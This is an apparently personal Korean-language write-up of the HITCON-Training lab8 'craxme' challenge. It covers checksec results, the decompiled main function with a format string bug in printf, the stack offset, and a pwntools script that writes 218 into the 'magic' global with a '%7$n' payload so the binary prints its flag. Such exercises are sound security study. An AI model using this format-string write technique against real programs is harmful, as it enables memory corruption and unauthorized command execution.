문제


craxme 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

file 명령어 결과는 다음과 같다.

craxme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b264eb7dfa7fe74e2dce2cf802a6b5300737b65, not stripped

바이너리 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  ...
  read(0, &buf, 0x100u);
  printf(&buf);
  if ( magic == 218 )
  {
    system("cat /home/craxme/flag");
  }
  else if ( magic == 0xFACEB00C )
  {
    system("cat /home/craxme/craxflag");
  }
  else
  {
    puts("You need be a phd");
  }
  return 0;
}

magic에 저장된 값이 218이면 flag 값을 읽어온다. 그리고 if문에 들어가기 전에 호출하는 printf에 format string bug가 존재한다.

exploit 방법

printf(&buf)를 하는 시점에 esp 값과 buf의 주소는 다음과 같다.
esp 값 -> 0xffffcef0
buf 주소 -> 0xffffcf0c

따라서 buf에서 magic의 주소값을 넣어주면 fsb를 통해서 magic에 원하는 값을 쓸 수 있다.

풀이


#!/usr/bin/python

from pwn import *
import time

file_path="/home/sungyun/HITCON-Training/LAB/lab8/craxme"

p=process(file_path)

p.recvuntil("magic :")

magic=0x0804a038

pay=p32(magic)
pay+="%214d"
pay+="%7$n"

p.send(pay)

time.sleep(0.1)

print p.recv(1000)

알게 된 것


  1. “%숫자$n” 을 통해서 n+1번째 인자에 접근할 수 있다.
  2. 위의 문제에서 send를 하고 바로 recv를 하면 system("cat /home/craxme/flag");이 실행되기 전에 출력된 값만 recv하고 파이썬 프로세스가 종료된다. 따라서 send와 recv 사이에 time.sleep 함수를 넣어주어야 한다.